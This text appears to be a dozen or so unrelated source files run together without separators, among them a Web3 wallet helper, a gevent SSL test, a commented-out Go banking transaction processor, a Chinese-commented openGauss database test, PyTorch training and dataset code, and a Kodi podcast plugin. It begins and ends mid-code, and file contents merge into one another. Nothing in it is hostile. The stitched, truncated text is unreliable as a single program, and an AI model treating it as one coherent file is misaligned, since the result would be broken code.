get_settings logger = logging.getLogger(__name__) def checksum_address(address: str) -> ChecksumAddress: return Web3().toChecksumAddress(address) def get_wallet_address_from_signed_message(message: str, signature: str) -> str: encoded_message = encode_defunct(text=message) try: address = Web3().eth.account.recover_message(encoded_message, signature=signature) except ValidationError as e: raise ValueError(e) return address @cache def get_ens_primary_name_for_address(wallet_address: str) -> str: settings = get_settings() web3_client = Web3(Web3.WebsocketProvider(settings.web3_provider_url_ws)) wallet_address = checksum_address(wallet_address) ens_name = ENS.fromWeb3(web3_client).name(wallet_address) return ens_name async def get_wallet_short_name(address: str, check_ens: bool = True) -> str: address = checksum_address(address) short_address = f"{address[:5]}...{address[-3:]}" if check_ens: try: ens_name = get_ens_primary_name_for_address(address) short_address = ens_name or short_address except Exception: logger.exception("Problems fetching ENS primary domain. [address=%s]", address) return short_address asanka9/Quession-Discussion-App-Socket.Io-NLPvenv/Lib/site-packages/gevent/tests/test__example_wsgiserver_ssl.py import ssl import gevent.testing as greentest from gevent.testing import params from . import test__example_wsgiserver @greentest.skipOnCI("Timing issues sometimes lead to a connection refused") class Test_wsgiserver_ssl(test__example_wsgiserver.Test_wsgiserver): example = 'wsgiserver_ssl.py' URL = 'https://%s:8443' % (params.DEFAULT_LOCAL_HOST_ADDR,) PORT = 8443 _use_ssl = True if hasattr(ssl, '_create_unverified_context'): # Disable verification for our self-signed cert # on Python >= 2.7.9 and 3.4 ssl_ctx = ssl._create_unverified_context() if __name__ == '__main__': greentest.main() # from marketplace_processor.protobuf import payload_pb2 # class SmallBankPayload(object): # def __init__(self, payload): # self._transaction = payload_pb2.TransactionPayload() # self._transaction.ParseFromString(payload) # def create_account(self): # """Returns the value set in the create_account. # Returns: # payload_pb2.CreateAccount # """ # return self._transaction.create_account # def is_create_account(self): # create_account = payload_pb2.TransactionPayload.CREATE_ACCOUNT # return self._transaction.payload_type == create_account # def create_holding(self): # """Returns the value set in the create_holding. # Returns: # payload_pb2.CreateHolding # """ # return self._transaction.create_holding # def is_create_holding(self): # create_holding = payload_pb2.TransactionPayload.CREATE_HOLDING # return self._transaction.payload_type == create_holding # def create_asset(self): # """Returns the value set in the create_asset. # Returns: # payload_pb2.CreateAsset # """ # return self._transaction.create_asset # def is_create_asset(self): # create_asset = payload_pb2.TransactionPayload.CREATE_ASSET # return self._transaction.payload_type == create_asset # def create_offer(self): # """Returns the value set in the create_offer. # Returns: # payload_pb2.CreateOffer # """ # return self._transaction.create_offer # def is_create_offer(self): # create_offer = payload_pb2.TransactionPayload.CREATE_OFFER # return self._transaction.payload_type == create_offer # def accept_offer(self): # """Returns the value set in accept_offer. # Returns: # payload_pb2.AcceptOffer # """ # return self._transaction.accept_offer # def is_accept_offer(self): # accept_offer = payload_pb2.TransactionPayload.ACCEPT_OFFER # return self._transaction.payload_type == accept_offer # def close_offer(self): # """Returns the value set in close_offer. # Returns: # payload_pb2.CloseOffer # """ # return self._transaction.close_offer # def is_close_offer(self): # close_offer = payload_pb2.TransactionPayload.CLOSE_OFFER # return self._transaction.payload_type == close_offer # var logger *logging.Logger = logging.Get() # var namespace = hexdigest("smallbank")[:6] # type SmallbankHandler struct { # } # func (self *SmallbankHandler) FamilyName() string { # return "smallbank" # } # func (self *SmallbankHandler) FamilyVersions() []string { # return []string{"1.0"} # } # func (self *SmallbankHandler) Namespaces() []string { # return []string{namespace} # } # func (self *SmallbankHandler) Apply(request *processor_pb2.TpProcessRequest, context *processor.Context) error { # payload, err := unpackPayload(request.GetPayload()) # if err != nil { # return err # } # logger.Debugf("smallbank txn %v: type %v", # request.Signature, payload.PayloadType) # switch payload.PayloadType { # case smallbank_pb2.SmallbankTransactionPayload_CREATE_ACCOUNT: # return applyCreateAccount(payload.CreateAccount, context) # case smallbank_pb2.SmallbankTransactionPayload_DEPOSIT_CHECKING: # return applyDepositChecking(payload.DepositChecking, context) # case smallbank_pb2.SmallbankTransactionPayload_WRITE_CHECK: # return applyWriteCheck(payload.WriteCheck, context) # case smallbank_pb2.SmallbankTransactionPayload_TRANSACT_SAVINGS: # return applyTransactSavings(payload.TransactSavings, context) # case smallbank_pb2.SmallbankTransactionPayload_SEND_PAYMENT: # return applySendPayment(payload.SendPayment, context) # case smallbank_pb2.SmallbankTransactionPayload_AMALGAMATE: # return applyAmalgamate(payload.Amalgamate, context) # default: # return &processor.InvalidTransactionError{ # Msg: fmt.Sprintf("Invalid PayloadType: '%v'", payload.PayloadType)} # } # } # func applyCreateAccount(createAccountData *smallbank_pb2.SmallbankTransactionPayload_CreateAccountTransactionData, context *processor.Context) error { # account, err := loadAccount(createAccountData.CustomerId, context) # if err != nil { # return err # } # if account != nil { # return &processor.InvalidTransactionError{Msg: "Account already exists"} # } # if createAccountData.CustomerName == "" { # return &processor.InvalidTransactionError{Msg: "Customer Name must be set"} # } # new_account := &smallbank_pb2.Account{ # CustomerId: createAccountData.CustomerId, # CustomerName: createAccountData.CustomerName, # SavingsBalance: createAccountData.InitialSavingsBalance, # CheckingBalance: createAccountData.InitialCheckingBalance, # } # saveAccount(new_account, context) # return nil # } # func applyDepositChecking(depositCheckingData *smallbank_pb2.SmallbankTransactionPayload_DepositCheckingTransactionData, context *processor.Context) error { # account, err := loadAccount(depositCheckingData.CustomerId, context) # if err != nil { # return err # } # if account == nil { # return &processor.InvalidTransactionError{Msg: "Account must exist"} # } # new_account := &smallbank_pb2.Account{ # CustomerId: account.CustomerId, # CustomerName: account.CustomerName, # SavingsBalance: account.SavingsBalance, # CheckingBalance: account.CheckingBalance + depositCheckingData.Amount, # } # saveAccount(new_account, context) # return nil # } # func applyWriteCheck(writeCheckData *smallbank_pb2.SmallbankTransactionPayload_WriteCheckTransactionData, context *processor.Context) error { # account, err := loadAccount(writeCheckData.CustomerId, context) # if err != nil { # return err # } # if account == nil { # return &processor.InvalidTransactionError{Msg: "Account must exist"} # } # new_account := &smallbank_pb2.Account{ # CustomerId: account.CustomerId, # CustomerName: account.CustomerName, # SavingsBalance: account.SavingsBalance, # CheckingBalance: account.CheckingBalance - writeCheckData.Amount, # } # saveAccount(new_account, context) # return nil # } # func applyTransactSavings(transactSavingsData *smallbank_pb2.SmallbankTransactionPayload_TransactSavingsTransactionData, context *processor.Context) error { # account, err := loadAccount(transactSavingsData.CustomerId, context) # if err != nil { # return err # } # if account == nil { # return &processor.InvalidTransactionError{Msg: "Account must exist"} # } # var new_balance uint32 # if transactSavingsData.Amount < 0 { # if uint32(-transactSavingsData.Amount) > account.SavingsBalance { # return &processor.InvalidTransactionError{Msg: "Insufficient funds in source savings account"} # } # new_balance = account.SavingsBalance - uint32(-transactSavingsData.Amount) # } else { # new_balance = account.SavingsBalance + uint32(transactSavingsData.Amount) # } # new_account := &smallbank_pb2.Account{ # CustomerId: account.CustomerId, # CustomerName: account.CustomerName, # SavingsBalance: new_balance, # CheckingBalance: account.CheckingBalance, # } # saveAccount(new_account, context) # return nil # } # func applySendPayment(sendPaymentData *smallbank_pb2.SmallbankTransactionPayload_SendPaymentTransactionData, context *processor.Context) error { # source_account, err := loadAccount(sendPaymentData.SourceCustomerId, context) # if err != nil { # return err # } # dest_account, err := loadAccount(sendPaymentData.DestCustomerId, context) # if err != nil { # return err # } # if source_account == nil || dest_account == nil { # return &processor.InvalidTransactionError{Msg: "Both source and dest accounts must exist"} # } # if source_account.CheckingBalance < sendPaymentData.Amount { # return &processor.InvalidTransactionError{Msg: "Insufficient funds in source checking account"} # } # new_source_account := &smallbank_pb2.Account{ # CustomerId: source_account.CustomerId, # CustomerName: source_account.CustomerName, # SavingsBalance: source_account.SavingsBalance, # CheckingBalance: source_account.CheckingBalance - sendPaymentData.Amount, # } # new_dest_account := &smallbank_pb2.Account{ # CustomerId: dest_account.CustomerId, # CustomerName: dest_account.CustomerName, # SavingsBalance: dest_account.SavingsBalance, # CheckingBalance: dest_account.CheckingBalance + sendPaymentData.Amount, # } # saveAccount(new_source_account, context) # saveAccount(new_dest_account, context) # return nil # } # func applyAmalgamate(amalgamateData *smallbank_pb2.SmallbankTransactionPayload_AmalgamateTransactionData, context *processor.Context) error { # source_account, err := loadAccount(amalgamateData.SourceCustomerId, context) # if err != nil { # return err # } # dest_account, err := loadAccount(amalgamateData.DestCustomerId, context) # if err != nil { # return err # } # if source_account == nil || dest_account == nil { # return &processor.InvalidTransactionError{Msg: "Both source and dest accounts must exist"} # } # new_source_account := &smallbank_pb2.Account{ # CustomerId: source_account.CustomerId, # CustomerName: source_account.CustomerName, # SavingsBalance: 0, # CheckingBalance: source_account.CheckingBalance, # } # new_dest_account := &smallbank_pb2.Account{ # CustomerId: dest_account.CustomerId, # CustomerName: dest_account.CustomerName, # SavingsBalance: dest_account.SavingsBalance, # CheckingBalance: dest_account.CheckingBalance + source_account.SavingsBalance, # } # saveAccount(new_source_account, context) # saveAccount(new_dest_account, context) # return nil # } # func unpackPayload(payloadData []byte) (*smallbank_pb2.SmallbankTransactionPayload, error) { # payload := &smallbank_pb2.SmallbankTransactionPayload{} # err := proto.Unmarshal(payloadData, payload) # if err != nil { # return nil, &processor.InternalError{ # Msg: fmt.Sprint("Failed to unmarshal SmallbankTransaction: %v", err)} # } # return payload, nil # } # func unpackAccount(accountData []byte) (*smallbank_pb2.Account, error) { # account := &smallbank_pb2.Account{} # err := proto.Unmarshal(accountData, account) # if err != nil { # return nil, &processor.InternalError{ # Msg: fmt.Sprint("Failed to unmarshal Account: %v", err)} # } # return account, nil # } # func loadAccount(customer_id uint32, context *processor.Context) (*smallbank_pb2.Account, error) { # address := namespace + hexdigest(fmt.Sprint(customer_id))[:64] # results, err := context.GetState([]string{address}) # if err != nil { # return nil, err # } # if len(string(results[address])) > 0 { # account, err := unpackAccount(results[address]) # if err != nil { # return nil, err # } # return account, nil # } # return nil, nil # } # func saveAccount(account *smallbank_pb2.Account, context *processor.Context) error { # address := namespace + hexdigest(fmt.Sprint(account.CustomerId))[:64] # data, err := proto.Marshal(account) # if err != nil { # return &processor.InternalError{Msg: fmt.Sprint("Failed to serialize Account:", err)} # } # addresses, err := context.SetState(map[string][]byte{ # address: data, # }) # if err != nil { # return err # } # if len(addresses) == 0 { # return &processor.InternalError{Msg: "No addresses in set response"} # } # return nil # } # func hexdigest(str string) string { # hash := sha512.New() # hash.Write([]byte(str)) # hashBytes := hash.Sum(nil) # return strings.ToLower(hex.EncodeToString(hashBytes)) # }""" # Definition for a Node. class Node(object): def __init__(self, val, children): self.val = val self.children = children """ class Solution(object): def maxDepth(self, root): """ :type root: Node :rtype: int """ if not root: return 0 res = 1 for child in root.children: if not child: return 1 res = max(res, 1 + self.maxDepth(child)) return resimport os import streamlit.components.v1 as components import pydeck as pdk from typing import List _RELEASE = True _COMPONENT_NAME = "map_component" if not _RELEASE: _component_func = components.declare_component( _COMPONENT_NAME, url="http://localhost:3001", ) else: parent_dir = os.path.dirname(os.path.abspath(__file__)) build_dir = os.path.join(parent_dir, "frontend/build") _component_func = components.declare_component(_COMPONENT_NAME, path=build_dir) def _convert_layer(layer: pdk.Layer) -> dict: layer_dict = layer.__dict__ layer_dict["data"] = layer_dict["_data"] layer_dict["getFillColor"] = layer_dict["get_fill_color"] layer_dict["getLineColor"] = layer_dict["get_line_color"] layer_dict["lineWidthMinPixels"] = layer_dict["line_width_min_pixels"] layer_dict["autoHighlight"] = layer_dict["auto_highlight"] return layer_dict def map_component(initialViewState: pdk.ViewState, layers: List[pdk.Layer], key=None): layers_dict = list(map(lambda layer: _convert_layer(layer), layers)) component_value = _component_func(initialViewState=initialViewState.__dict__, layers=layers_dict, key=key, default=None) return component_value opengauss-mirror/Yat """ Copyright (c) 2022 Huawei Technologies Co.,Ltd. openGauss is licensed under Mulan PSL v2. You can use this software according to the terms and conditions of the Mulan PSL v2. You may obtain a copy of Mulan PSL v2 at: http://license.coscl.org.cn/MulanPSL2 THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. See the Mulan PSL v2 for more details. """ """ Case Type : GUC Case Name : 修改track_functions为on，观察预期结果； Description : 1、查询track_functions默认值； show track_functions; 2、修改track_functions为all，重启使其生效，并校验其预期结果； gs_guc set -D {cluster/dn1} -c "track_functions=all" gs_om -t stop && gs_om -t start show track_functions; 3、重启后做DML 1000+ 4、恢复默认值； Expect : 1、显示默认值 查询PG_STAT_USER_FUNCTIONS视图为空； 2、参数修改成功，校验修改后系统参数值为all； 3、查询PG_STAT_USER_FUNCTIONS视图不为空 DML无报错 4、恢复默认值成功； History : """ import sys import unittest sys.path.append(sys.path[0] + "/../") from testcase.utils.Logger import Logger from testcase.utils.Constant import Constant from testcase.utils.CommonSH import CommonSH logger = Logger() commonsh = CommonSH('PrimaryDbUser') class Guctestcase(unittest.TestCase): def setUp(self): logger.info("------------------------Opengauss_Function_Guc_Run_Statistics_Case0007开始执行-----------------------------") self.Constant = Constant() def test_guc(self): logger.info("查询track_functions 期望：默认值none") sql_cmd = commonsh.execut_db_sql('''show track_functions;''') logger.info(sql_cmd) self.assertEqual("none", sql_cmd.split("\n")[-2].strip()) logger.info("查询PG_STAT_USER_FUNCTIONS视图为空") sql_cmd = commonsh.execut_db_sql('''select count(*) from PG_STAT_USER_FUNCTIONS;''') logger.info(sql_cmd) self.assertEqual( int(sql_cmd.split("\n")[-2].strip()),0) logger.info("修改track_functions为all，重启使其生效，期望：设置成功") result = commonsh.execute_gsguc('set', self.Constant.GSGUC_SUCCESS_MSG, 'track_functions=all') self.assertTrue(result) logger.info("期望：重启后查询结果为all") commonsh.restart_db_cluster() status = commonsh.get_db_cluster_status() self.assertTrue("Normal" in status or "Degraded" in status) sql_cmd = commonsh.execut_db_sql('''show track_functions;''') logger.info(sql_cmd) self.assertEqual("all", sql_cmd.split("\n")[-2].strip()) logger.info('执行DML 期望：执行成功') sql_cmd = commonsh.execut_db_sql(''' drop function if exists SYN_FUN_001(c int); create or replace function SYN_FUN_001(c int)return number as b int := c; begin for i in 1..c loop b:= b - 1; end loop; return b; end; select SYN_FUN_001(5); ''') logger.info(sql_cmd) self.assertNotIn(self.Constant.SQL_WRONG_MSG[1], sql_cmd) logger.info("查询PG_STAT_USER_FUNCTIONS视图不为空") sql_cmd = commonsh.execut_db_sql('''select count(*) from PG_STAT_USER_FUNCTIONS;''') logger.info(sql_cmd) self.assertGreater( int(sql_cmd.split("\n")[-2].strip()),0) logger.info("恢复默认值") logger.info("删除表") sql_cmd = commonsh.execut_db_sql('''drop function SYN_FUN_001(c int);''') logger.info(sql_cmd) self.assertIn(self.Constant.DROP_FUNCTION_SUCCESS_MSG,sql_cmd) result = commonsh.execute_gsguc('set', self.Constant.GSGUC_SUCCESS_MSG, 'track_functions=none') self.assertTrue(result) result = commonsh.restart_db_cluster() logger.info(result) status = commonsh.get_db_cluster_status() logger.info(status) self.assertTrue("Normal" in status or "Degraded" in status) def tearDown(self): logger.info("恢复默认值") sql_cmd = commonsh.execut_db_sql('''show track_functions;''') if "none" not in sql_cmd: commonsh.execute_gsguc('set', self.Constant.GSGUC_SUCCESS_MSG, 'track_functions=none') commonsh.restart_db_cluster() status = commonsh.get_db_cluster_status() logger.info(status) self.assertTrue("Normal" in status or "Degraded" in status) logger.info("-------------------------Opengauss_Function_Guc_Run_Statistics_Case0007执行结束---------------------------")import os import glob import random import pickle from data import common import numpy as np import imageio import torch import torch.utils.data as data class SRData(data.Dataset): def __init__(self, args, name='', train=True, benchmark=False): self.args = args self.name = name self.train = train self.split = 'train' if train else 'test' self.do_eval = True self.benchmark = benchmark self.input_large = (args.model == 'VDSR') self.scale = args.scale self.idx_scale = 0 self._set_filesystem(args.dir_data) #设置路径信息 if args.ext.find('img') < 0: #扩展类型 path_bin = os.path.join(self.apath, 'bin') os.makedirs(path_bin, exist_ok=True) list_hr, list_lr = self._scan() #得到文件名列表 if args.ext.find('bin') >= 0: # Binary files are stored in 'bin' folder # If the binary file exists, load it. If not, make it. list_hr, list_lr = self._scan() self.images_hr = self._check_and_load( args.ext, list_hr, self._name_hrbin() ) self.images_lr = [ self._check_and_load(args.ext, l, self._name_lrbin(s)) \ for s, l in zip(self.scale, list_lr) ] else: if args.ext.find('img') >= 0 or benchmark: #benchmark 直接读图 self.images_hr, self.images_lr = list_hr, list_lr elif args.ext.find('sep') >= 0: os.makedirs( self.dir_hr.replace(self.apath, path_bin), exist_ok=True ) for s in self.scale: os.makedirs( os.path.join( self.dir_lr.replace(self.apath, path_bin), 'X{}'.format(s) ), exist_ok=True ) self.images_hr, self.images_lr = [], [[] for _ in self.scale] for h in list_hr: b = h.replace(self.apath, path_bin) b = b.replace(self.ext[0], '.pt') #只是文件名 下面check并创建 self.images_hr.append(b) self._check_and_load( args.ext, [h], b, verbose=True, load=False ) for i, ll in enumerate(list_lr): for l in ll: b = l.replace(self.apath, path_bin) b = b.replace(self.ext[1], '.pt') self.images_lr[i].append(b) self._check_and_load( #这里会将图片读取并存储为pt格式 其实就是pkl序列化 args.ext, [l], b, verbose=True, load=False ) #存在就不再存储pt，在_load_file读取 if train: n_patches = args.batch_size * args.test_every n_images = len(args.data_train) * len(self.images_hr) if n_images == 0: self.repeat = 0 else: self.repeat = max(n_patches // n_images, 1) #一个epoch需要的图片数/数据集图片数 # Below functions as used to prepare images def _scan(self): names_hr = sorted( glob.glob(os.path.join(self.dir_hr, '*' + self.ext[0])) ) names_lr = [[] for _ in self.scale] for f in names_hr: filename, _ = os.path.splitext(os.path.basename(f)) for si, s in enumerate(self.scale): #lr [[scale1],[scale2],...] names_lr[si].append(os.path.join( self.dir_lr, 'X{}/{}x{}{}'.format( s, filename, s, self.ext[1] ) )) return names_hr, names_lr def _set_filesystem(self, dir_data): self.apath = os.path.join(dir_data, self.name) self.dir_hr = os.path.join(self.apath, 'HR') self.dir_lr = os.path.join(self.apath, 'LR_bicubic') if self.input_large: self.dir_lr += 'L' self.ext = ('.png', '.png') def _name_hrbin(self): return os.path.join( self.apath, 'bin', '{}_bin_HR.pt'.format(self.split) ) def _name_lrbin(self, scale): return os.path.join( self.apath, 'bin', '{}_bin_LR_X{}.pt'.format(self.split, scale) ) def _check_and_load(self, ext, l, f, verbose=True, load=True): if os.path.isfile(f) and ext.find('reset') < 0: #第二次会进入这个地方 isf if load: if verbose: print('Loading {}...'.format(f)) with open(f, 'rb') as _f: ret = pickle.load(_f) return ret else: return None else: if verbose: if ext.find('reset') >= 0: print('Making a new binary: {}'.format(f)) else: print('{} does not exist. Now making binary...'.format(f)) b = [{ 'name': os.path.splitext(os.path.basename(_l))[0], 'image': imageio.imread(_l) } for _l in l] with open(f, 'wb') as _f: pickle.dump(b, _f) return b def __getitem__(self, idx): lr, hr, filename = self._load_file(idx) pair = self.get_patch(lr, hr) #patch 以及数据增强 #是输入rgb 还是 y通道 使用skimage pair = common.set_channel(*pair, n_channels=self.args.n_colors) # *解耦 从而可以传入*args pair_t = common.np2Tensor(*pair, rgb_range=self.args.rgb_range) return pair_t[0], pair_t[1], filename def __len__(self): if self.train: return len(self.images_hr) * self.repeat else: return len(self.images_hr) def _get_index(self, idx): if self.train: return idx % len(self.images_hr) else: return idx def _load_file(self, idx): idx = self._get_index(idx) f_hr = self.images_hr[idx] f_lr = self.images_lr[self.idx_scale][idx] if self.args.ext.find('bin') >= 0: #如果是二进制文件 filename = f_hr['name'] hr = f_hr['image'] lr = f_lr['image'] else: filename, _ = os.path.splitext(os.path.basename(f_hr)) if self.args.ext == 'img' or self.benchmark: #如果是图片 或者 benchmark测试 不转pt 直接读图 hr = imageio.imread(f_hr) #skimage处理图片 imageio读写图片 lr = imageio.imread(f_lr) elif self.args.ext.find('sep') >= 0: #读取pt with open(f_hr, 'rb') as _f: hr = pickle.load(_f)[0]['image'] with open(f_lr, 'rb') as _f: lr = pickle.load(_f)[0]['image'] return lr, hr, filename def get_patch(self, lr, hr): scale = self.scale[self.idx_scale] if self.train: lr, hr = common.get_patch( lr, hr, patch_size=self.args.patch_size, scale=scale, multi=(len(self.scale) > 1), input_large=self.input_large ) if not self.args.no_augment: lr, hr = common.augment(lr, hr) else: ih, iw = lr.shape[:2] hr = hr[0:ih * scale, 0:iw * scale] return lr, hr def set_scale(self, idx_scale): if not self.input_large: self.idx_scale = idx_scale else: self.idx_scale = random.randint(0, len(self.scale) - 1) import matplotlib import matplotlib.pyplot as plt import numpy as np labels = ['AP on bin (0,10)', 'AP on bin (10,100)'] baseline = [0.0, 13.3] fc2_ncm = [6.0, 18.9] fc2 = [8.6, 22.0] fc3_rand = [9.1, 18.8] fc3_ft = [13.2, 23.1] x = np.arange(len(labels)) # the label locations width = 0.15 # the width of the bars matplotlib.rcParams.update({'font.size': 16}) # plt.rc('ytick', labelsize=10) fig, ax = plt.subplots() # rects1 = ax.bar(x - width, baseline, width, label='baseline') # rects2 = ax.bar(x - width/2, fc2_ncm, width, label='2fc_ncm') # rects3 = ax.bar(x , baseline, fc2, label='baseline') # rects4 = ax.bar(x + width/2, fc3_rand, width, label='2fc_ncm') # rects5 = ax.bar(x + width, fc3_ft, width, label='baseline') # Set position of bar on X axis r1 = np.arange(len(labels)) r2 = [x + width for x in r1] r3 = [x + width for x in r2] r4 = [x + width for x in r3] r5 = [x + width for x in r4] # Make the plot rects1 = ax.bar(r1, baseline, color='#7f6d5f', width=width, edgecolor='white', label='baseline') rects2 = ax.bar(r2, fc2_ncm, color='#557f2d', width=width, edgecolor='white', label='2fc_ncm') rects3 = ax.bar(r3, fc2, width=width, edgecolor='white', label='2fc_rand') rects4 = ax.bar(r4, fc3_rand, width=width, edgecolor='white', label='3fc_rand') rects5 = ax.bar(r5, fc3_ft, width=width, edgecolor='white', label='3fc_ft') ax.set_ylim([0,25]) ax.set_xticks([0.3, 1.3]) ax.set_xticklabels(labels) ax.legend() def autolabel(rects): """Attach a text label above each bar in *rects*, displaying its height.""" for rect in rects: height = rect.get_height() ax.annotate('{}'.format(height), xy=(rect.get_x() + rect.get_width() / 2, height), xytext=(0, 3), # 3 points vertical offset textcoords="offset points", ha='center', va='bottom') autolabel(rects1) autolabel(rects2) autolabel(rects3) autolabel(rects4) autolabel(rects5) fig.tight_layout() plt.savefig('head_design_choices.eps', format='eps', dpi=1000) plt.show() #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Dec 23 13:38:36 2020 @author: t.yamamoto """ import torch import torch.nn as nn import torch.optim as optim import datetime import os from tqdm import tqdm import parameter as C import myutils as ut import network def main(): device = torch.device("cuda" if torch.cuda.is_available() else "cpu") print("CUDA is available:", torch.cuda.is_available()) if not os.path.exists(C.model_path): os.mkdir(C.model_path) now = datetime.datetime.now() model_path = C.model_path+"/model_"+now.strftime('%Y%m%d_%H%M%S')+".pt" print(model_path) train_loader,val_loader = ut.MyDataLoader() model = network.UnetConv().to(device) criterion = nn.L1Loss().to(device) optimizer = optim.Adam(model.parameters(), lr=C.learning_rate) train_loss_list = [] val_loss_list = [] for epoch in tqdm(range(1, C.epochs+1),desc='[Training..]',leave=True): model.train() train_loss = 0 for batch_idx, (speech, addnoise) in enumerate(train_loader): speech= speech.to(device) addnoise=addnoise.to(device) mask = model(addnoise).to(device) enhance = addnoise * mask loss = criterion(enhance, speech) loss.backward() optimizer.step() train_loss += loss.item() train_loss /= len(train_loader) train_loss_list.append(train_loss) model.eval() eval_loss = 0 with torch.no_grad(): for speech, addnoise in val_loader: speech= speech.to(device) addnoise=addnoise.to(device) mask = model(addnoise).to(device) enhance = addnoise * mask loss = criterion(enhance, speech) eval_loss += loss.item() eval_loss /= len(val_loader) val_loss_list.append(eval_loss) tqdm.write('\nTrain set: Average loss: {:.6f}\nVal set: Average loss: {:.6f}' .format(train_loss,eval_loss)) if epoch == 1: best_loss = eval_loss torch.save(model.state_dict(), model_path) else: if best_loss > eval_loss: torch.save(model.state_dict(), model_path) best_loss = eval_loss if epoch % 10 == 0: #10回に１回定期保存 epoch_model_path = C.model_path+"/model_"+now.strftime('%Y%m%d_%H%M%S')+"_Epoch"+str(epoch)+".pt" torch.save(model.state_dict(), epoch_model_path) if __name__ == "__main__": main() from contextlib import contextmanager from typing import Callable, Generator, TypeVar from django.db import connection from . import models ContextModel = TypeVar("ContextModel", bound=models.BaseContext) @contextmanager def audit_logging( *, create_temporary_table_sql: str, drop_temporary_table_sql: str, create_context: Callable[[], ContextModel], ) -> Generator[ContextModel, None, None]: """ Context manager to enable audit logging, and cleaning up afterwards. """ with connection.cursor() as cursor: cursor.execute(create_temporary_table_sql) context = create_context() try: yield context finally: with connection.cursor() as cursor: cursor.execute(drop_temporary_table_sql) from xbmcswift2 import Plugin, xbmcgui from resources.lib import mainaddon plugin = Plugin() url1 = "https://lawfare.libsyn.com/rss" #LAWFARE url2 = "http://steptoecyber.libsyn.com/rss" #CYBERLAW url3 = "http://rationalsecurity.libsyn.com/rss" #RATIONALSECURITY url4 = "https://jihadology-net.libsyn.com/rss" #JIHADOLOGY url5 = "http://www.nationalsecuritylawpodcast.com/feed/podcast/" #NATSEC url6 = "https://feed.pippa.io/public/shows/5d28ef74d3cc3f013778b13b" #THEREPORT @plugin.route('/') def main_menu(): items = [ { 'label': plugin.get_string(30001), 'path': plugin.url_for('episodes1'), 'thumbnail': "https://lawfare.s3-us-west-2.amazonaws.com/staging/s3fs-public/styles/medium/public/Lawfare-PodcastAvatar.png?itok=rjK_6oT8"}, { 'label': plugin.get_string(30002), 'path': plugin.url_for('episodes2'), 'thumbnail': "https://lawfare.s3-us-west-2.amazonaws.com/staging/s3fs-public/styles/medium/public/TheCyberlawPodcast_2017-08-hires%20%281%29.jpg?itok=b___ahR-"}, { 'label': plugin.get_string(30003), 'path': plugin.url_for('episodes3'), 'thumbnail': "https://lawfare.s3-us-west-2.amazonaws.com/staging/s3fs-public/styles/medium/public/Rational%20Security%20logo_0.png?itok=pcVRKwJE"}, { 'label': plugin.get_string(30004), 'path': plugin.url_for('episodes4'), 'thumbnail': "https://lawfare.s3-us-west-2.amazonaws.com/staging/s3fs-public/styles/medium/public/NkOfBNFM.jpg?itok=BcuDzXqJ"}, { 'label': plugin.get_string(30005), 'path': plugin.url_for('episodes5'), 'thumbnail': "https://is2-ssl.mzstatic.com/image/thumb/Podcasts123/v4/10/b5/66/10b566ac-5343-f075-a8c1-a7b71cabbae2/mza_6922631826374802411.jpg/600x600bb.jpg"}, { 'label': plugin.get_string(30006), 'path': plugin.url_for('episodes6'), 'thumbnail': "https://is1-ssl.mzstatic.com/image/thumb/Podcasts123/v4/bd/26/aa/bd26aa3d-ad9e-9e1d-3633-5fab41bb9373/mza_15643729862565464029.jpeg/600x600bb.jpg"}, ] return items @plugin.route('/episodes1/') def episodes1(): soup1 = mainaddon.get_soup1(url1) playable_podcast1 = mainaddon.get_playable_podcast1(soup1) items = mainaddon.compile_playable_podcast1(playable_podcast1) return items @plugin.route('/episodes2/') def episodes2(): soup2 = mainaddon.get_soup2(url2) playable_podcast2 = mainaddon.get_playable_podcast2(soup2) items = mainaddon.compile_playable_podcast2(playable_podcast2) return items @plugin.route('/episodes3/') def episodes3(): soup3 = mainaddon.get_soup3(url3) playable_podcast3 = mainaddon.get_playable_podcast3(soup3) items = mainaddon.compile_playable_podcast3(playable_podcast3) return items @plugin.route('/episodes4/') def episodes4(): soup4 = mainaddon.get_soup4(url4) playable_podcast4 = mainaddon.get_playable_podcast4(soup4) items = mainaddon.compile_playable_podcast4(playable_podcast4) return items @plugin.route('/episodes5/') def episodes5(): soup5 = mainaddon.get_soup5(url5) playable_podcast5 = mainaddon.get_playable_podcast5(soup5) items = mainaddon.compile_playable_podcast5(playable_podcast5) return items @plugin.route('/episodes6/') def episodes6(): soup6 = mainaddon.get_soup6(url6) playable_podcast6 = mainaddon.get_playable_podcast6(soup6) items = mainaddon.compile_playable_podcast6(playable_podcast6) return items if __name__ == '__main__': plugin.run() # 0 -10000 import numpy as np import matplotlib.pyplot as plt from PIL import Image import tqdm #生成文字检测数据集 # seed=42时，生成了 train 7156 | val 776 np.random.seed(42) train_cnt = 0 val_cnt = 0 for i in tqdm.tqdm(range(1,10000+1)): root = '/workspace/str/icdar/train/' num = str(i) while len(num) < 5: num = '0' +num img_path = root + 'img/tr_img_' + num + '.jpg' gt_path = root + 'gt/tr_img_' + num + '.txt' try: img_file = open(img_path) except: continue try: gt_file = open(gt_path) except: continue if np.random.rand() < 0.9: train_cnt += 1 save_root = '/workspace/str/detset/train/' save_img_path = save_root + 'img/img_' + str(train_cnt) + '.jpg' try: img = Image.open(img_path) except: continue img.save(save_img_path) save_gt_path = save_root + 'gt/gt_img_' + str(train_cnt) + '.txt' save_gt_file = open(save_gt_path,'w') new_lines = [] for line in gt_file.readlines(): line_lst = line.split(',') if line_lst[9] =='###\n': continue line_lst.pop(8) new_line = ','.join(line_lst) new_lines.append(new_line) save_gt_file.writelines(new_lines) save_gt_file.close() else: val_cnt += 1 save_root = '/workspace/str/detset/val/' save_img_path = save_root + 'img/img_' + str(val_cnt) + '.jpg' try: img = Image.open(img_path) except: continue img.save(save_img_path) save_gt_path = save_root + 'gt/gt_img_' + str(val_cnt) + '.txt' save_gt_file = open(save_gt_path,'w') new_lines = [] for line in gt_file.readlines(): line_lst = line.split(',') if line_lst[9] =='###\n': continue line_lst.pop(8) new_line = ','.join(line_lst) new_lines.append(new_line) save_gt_file.writelines(new_lines) save_gt_file.close() img_file.close() gt_file.close() print('train',train_cnt) print('val',val_cnt) import argparse import getpass import json import os import requests from display import display_to_terminal def get_credential(): if not os.path.exists('credential.json'): return try: with open('credential.json') as json_data: credential = json.load(json_data) return credential except FileNotFoundError: print('credential.json file not found in current directory. Exiting.') exit() def 